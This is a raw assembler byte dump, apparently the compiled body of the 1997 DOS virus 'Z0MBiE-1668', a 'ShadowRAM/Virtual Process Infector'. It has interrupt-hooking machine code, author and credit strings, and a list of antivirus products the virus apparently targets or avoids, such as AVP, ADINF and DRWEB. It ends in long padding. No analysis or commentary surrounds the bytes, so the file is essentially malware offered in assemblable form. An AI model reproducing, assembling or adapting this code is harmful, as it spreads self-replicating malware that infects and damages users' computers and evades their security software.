db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh